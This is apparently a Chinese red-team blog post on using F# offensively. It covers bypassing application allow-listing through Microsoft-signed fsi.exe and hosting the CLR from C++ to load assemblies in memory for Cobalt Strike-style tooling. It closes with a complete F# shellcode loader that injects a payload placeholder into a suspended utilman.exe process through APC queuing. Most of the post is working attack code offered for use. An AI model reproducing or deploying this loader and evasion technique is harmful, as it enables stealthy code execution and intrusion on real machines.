首先,什么是F#?援引微软官方的解释:
F # 是一种函数编程语言,可方便编写正确且可维护的代码。F # 编程主要涉及如何定义自动推断和通用化的类型和函数。这样,你的关注点将保留在问题域上并操作其数据,而不是编程的详细信息。
可能是翻译的缘故,听起来总是很拗口,国内解释如下:
F#是由微软发展的为微软.NET语言提供运行环境的程序设计语言,是函数编程语言(FP,Functional Programming),函数编程语言最重要的基础是Lambda Calculus。它是基于OCaml的,而OCaml是基于ML函 数程式语言。有时F# 和 OCaml 的程式是可以交互编译的。F#已经接近成熟,支援Higher-Order Function、Currying、Lazy Evaluation、Continuations、Pattern Matching、Closure、List Processing、Meta-Programming。这是一个用于显示.NET在不同编程语言间互通的程序设计,可以被.NET中的任意其它代码编 译和调用。F#将被集成在Visual Studio 2010中,含有对.Net Framework的完全支持。
至于为什么要学习F#,其实也是跟C#的道理是一样的,在某些特殊情况下,我们可以利用F#来达到我们的目的,原常景如下:
This customer really locked down their environment with a solid application allowing listing/application control deployment and configuration. All documented LOLBINs were blocked (including old versions), binary modifications were blocked, but standard Microsoft signed binaries could execute. We executed our F# script using fsi.exe (F#'s scripting console) and we successfully established C2 comms. Why did this work in the locked-down environment? Both fsc.exe and fsi.exe are digitally signed by Microsoft.
C#和F#的动态执行程序分别为:csi.exe 和 fsi.exe
但大多数目标皆不会安装F#,虽然我们可以将其依赖的文件进行落地,
但这也违背常见的攻击规则:
我们可以在编译是使用--standalone选项或者vs进行静态编译来打包所需的文件,但会导致我们的文件过大,而无法在Cs之类的工具中内存加载
By default, Cobalt Strike’s Beacon payload sends data back to Cobalt Strike’s team server with an HTTP POST request. In this default, the Beacon payload embeds its encrypted data into the body of the POST request. Here, the limit is again, 1MB. If you’re downloading a file, Beacon will deliver it in 512KB pieces. This 1MB limit is enough to send a 512KB file piece and some output in one HTTP POST request.
但这并不意味着我们便无法在内存中运行我们的F#程序,我们可以使用非托管代码的方法来运行任意的我们的F#程序。比较好的demo就是:
https://github.com/etormadiv/HostingCLR 也就是用非托管来加载CLR实现内存加载。
实现过程如下:
1.将CLR加载到进程中:调用CLRCreateInstance函数以获取ICLRMetaHost或ICLRMetaHostPolicy接口,调用ICLRMetaHost的方法来获取有效的ICLRRuntimeInfo指针。
调用ICorRuntimeHost或者ICLRRuntimeHost
2.加载.NET程序集并调用静态方法
3.清理CLR
demo如下:
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")
int main()
{
ICLRMetaHost* metaHost = NULL;
ICLRRuntimeInfo* runtimeInfo = NULL;
ICLRRuntimeHost* runtimeHost = NULL;
DWORD pReturnValue;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
runtimeHost->Start();
HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\CLRHello1\\CLRHello1\\CLRHello1\\bin\\Debug\\CLRHello1.exe", L"CLRHello1.Program", L"spotlessMethod", L"test", &pReturnValue);
if (res == S_OK)
{
std::cout << "CLR executed successfully\n";
}
runtimeInfo->Release();
metaHost->Release();
runtimeHost->Release();
return 0;
}
C#代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace CLRHello1
{
class Program
{
static void Main(string[] args)
{
return;
}
// important: methods called by ExecuteInDefaultAppDomain need to stick to this signature
static int spotlessMethod(String pwzArgument)
{
Console.WriteLine("Hi from CLR");
return 1;
}
}
}
但此时还是无法解决依赖问题,除非打包依赖进去。且在存在参数是还会存在pMethodInfo->Invoke_3问题。
https://github.com/etormadiv/HostingCLR/issues/4
而这些问题可以通过下面的文章来进行解决:
https://offensivedefence.co.uk/posts/assembly-resolve/
https://redteamer.tips/a-tale-of-net-assemblies-cobalt-strike-size-constraints-and-reflection/
参数解决如下:
VARIANT args;
args.vt = VT_ARRAY | VT_BSTR;
SAFEARRAYBOUND argsBound[1];
argsBound[0].lLbound = 0;
argsBound[0].cElements = argc;
args.parray = SafeArrayCreate(VT_BSTR, 1, argsBound);
long idx[1];
for (int i = 0; i < argc; i++)
{
idx[0] = i;
SafeArrayPutElement(args.parray, idx, SysAllocString(argv[i]));
}
SAFEARRAY *params = NULL;
SAFEARRAYBOUND paramsBound[1];
paramsBound[0].lLbound = 0;
paramsBound[0].cElements = 1;
params = SafeArrayCreate(VT_VARIANT, 1, paramsBound);
idx[0] = 0;
SafeArrayPutElement(params, idx, &args);
//finally
hr = pMethodInfo->Invoke_3(obj, params, &retVal);
dll问题,比如Fsharp.Core.dll:
AssemblyResolver::AssemblyResolver()
{
System::AppDomain^ currentDomain = System::AppDomain::CurrentDomain;
currentDomain->AssemblyResolve += gcnew System::ResolveEventHandler(
this, &AssemblyResolver::AssemblyResolve);
}
System::Reflection::Assembly^ AssemblyResolver::AssemblyResolve(System::Object^ sender, System::ResolveEventArgs^ args)
{
using namespace System;
const char* name = (const char*)(Marshal::StringToHGlobalAnsi(args->Name)).ToPointer();
bool isOurApiAssembly = args->Name->StartsWith("FSharp");
if (!isOurApiAssembly) {
printf("Not loading assembly, only FSharp can be resolved");
return nullptr;
}
array<System::Byte>^ byteArray = gcnew array<System::Byte>(RAW_FSHARP_LENGTH + 2);
Marshal::Copy((System::IntPtr)fsharpCore, byteArray, 0, RAW_FSHARP_LENGTH);
return System::Reflection::Assembly::Load(byteArray);
}
win32调用
与C#类似,都是利用P/Invoke的的方法进行win32的调用。C#版本如下:
using System;
using System.Runtime.InteropServices;
public class Program
{
// Import user32.dll (containing the function we need) and define
// the method corresponding to the native function.
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
public static void Main(string[] args)
{
// Invoke the function as a regular managed method.
MessageBox(IntPtr.Zero, "Command-line message box", "Attention!", 0);
}
}
F#的则如下:
// Learn more about F# at http://fsharp.org
open System
open System.Runtime.InteropServices
[<DllImport "user32.dll">]
extern uint32 MessageBox(nativeint hWnd ,string lpText,string lpCaption,uint32 uType)
[<EntryPoint>]
let main argv =
MessageBox(IntPtr.Zero,"Offensive F# !!!","F#",(uint32)0)
0 // return an integer exit code
附一个F#的shellcode loader:
open System
open System.Runtime.InteropServices
open System.Diagnostics
[<DllImport "kernel32" >]
extern nativeint VirtualAllocEx(
nativeint hProcess,
nativeint lpStartAddress,
uint32 dwSize,
uint32 flAllocationType,
uint32 flProtect)
[<DllImport "kernel32" >]
extern nativeint CreateRemoteThread(
nativeint hProcess,
int lpThreadAttributes,
uint32 dwStackSize,
nativeint lpStartAddress,
nativeint lpParam,
uint32 dwCreationFlags,
nativeint lpThreadId)
[<DllImport "kernel32" >]
extern bool WriteProcessMemory(
nativeint hProcess,
nativeint lpBaseAddress,
byte[] lpBuffer,
uint32 nSize,
nativeint& lpNumberOfBytesWritten)
[<Struct>]
[<StructLayout(LayoutKind.Sequential)>]
type STARTUPINFO =
val mutable cb: uint32
val mutable lpReserved: string
val mutable lpDesktop : string
val mutable lpTitle : string
val mutable dwX : uint32
val mutable dwY : uint32
val mutable dwXSize : uint32
val mutable dwYSize : uint32
val mutable dwXCountChars : uint32
val mutable dwYCountChars : uint32
val mutable dwFillAttribute : uint32
val mutable dwFlags : uint32
val mutable wShowWindow : int16
val mutable cbReserved2 : int16
val mutable lpReserved2 : nativeint
val mutable hStdInput : nativeint
val mutable hStdOutput : nativeint
val mutable hStdError : nativeint
[<Struct>]
[<StructLayout(LayoutKind.Sequential)>]
type P_INFORMATION =
val mutable hProcess : nativeint
val mutable hThread : nativeint
val mutable dwProcessId : uint32
val mutable dwThreadId : uint32
[< DllImport "kernel32" >]
extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
nativeint lpProcessAttributes,
nativeint lpThreadAttributes,
bool bInheritHandles,
uint32 dwCreationFlags,
nativeint lpEnvironment,
string lpCurrentDirectory,
STARTUPINFO& lpStartupInfo,
P_INFORMATION& lpProcessInformation)
[<Flags>]
type ProcessCreationFlags =
| ZERO_FLAG = 0x00000000u
| CREATE_BREAKAWAY_FROM_JOB = 0x01000000u
| CREATE_DEFAULT_ERROR_MODE = 0x04000000u
| CREATE_NEW_CONSOLE = 0x00000010u
| CREATE_NEW_PROCESS_GROUP = 0x00000200u
| CREATE_NO_WINDOW = 0x08000000u
| CREATE_PROTECTED_PROCESS = 0x00040000u
| CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000u
| CREATE_SEPARATE_WOW_VDM = 0x00001000u
| CREATE_SHARED_WOW_VDM = 0x00001000u
| CREATE_SUSPENDED = 0x00000004u
| CREATE_UNICODE_ENVIRONMENT = 0x00000400u
| DEBUG_ONLY_THIS_PROCESS = 0x00000002u
| DEBUG_PROCESS = 0x00000001u
| DETACHED_PROCESS = 0x00000008u
| EXTENDED_STARTUPINFO_PRESENT = 0x00080000u
| INHERIT_PARENT_AFFINITY = 0x00010000u
[<Flags>]
type PagePermissionFlags =
| MEM_COMMIT = 0x1000u
| PAGE_EXECUTE_READ = 0x20u
| PAGE_READWRITE = 0x04u
[< DllImport "kernel32" >]
extern bool VirtualProtectEx(nativeint hProcess, nativeint lpAddress,
uint32 dwSize, uint32 flNewProtect, uint32& lpflOldProtect)
[< DllImport "kernel32" >]
extern nativeint OpenThread(int dwDesiredAccess, bool bInheritHandle, int dwThreadId)
[< DllImport "kernel32" >]
extern nativeint QueueUserAPC(nativeint pfnAPC, nativeint hThread, nativeint dwData)
[< DllImport "kernel32" >]
extern uint32 ResumeThread(nativeint hThread)
let mutable sInfo = new STARTUPINFO();;
let mutable pInfo = new P_INFORMATION();;
let mutable ans : bool = CreateProcess(@"C:\Windows\SysWOW64\utilman.exe", null, (nativeint)0, (nativeint)0, false, (uint32)(ProcessCreationFlags.CREATE_SUSPENDED + ProcessCreationFlags.CREATE_NO_WINDOW), (nativeint)0, null, &sInfo, &pInfo);
let mutable sc : byte[] = [|$PAYLOAD_X86$|]
let mutable outSize = new nativeint()
let address = VirtualAllocEx(pInfo.hProcess, (nativeint)0, (uint32)sc.Length, (uint32)0x1000, (uint32)0x04)
let mutable jj : bool = WriteProcessMemory(pInfo.hProcess, address, sc, (uint32)sc.Length, &outSize)
let mutable outZero : uint32 = Unchecked.defaultof<uint32>
jj = VirtualProtectEx(pInfo.hProcess, address, (uint32)sc.Length, (uint32)0x20, &outZero)
let proc : Process = Process.GetProcessById((int)pInfo.dwProcessId)
let procThreads : ProcessThreadCollection = proc.Threads
let thrd : nativeint = OpenThread(0x0010, false, procThreads.[0].Id)
let jb : nativeint = QueueUserAPC(address,thrd,IntPtr.Zero)
let rezthread : nativeint = pInfo.hThread
ResumeThread(rezthread)
后记:F#作为和C#类似的语言,其很多特性都与C#类似,个人感觉没必要去深入学习,笔者也仅仅是花了几个小时来掌握其win32的使用并未深入学习,但可以作为一个备选项,在某些特殊情况下进行利用。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有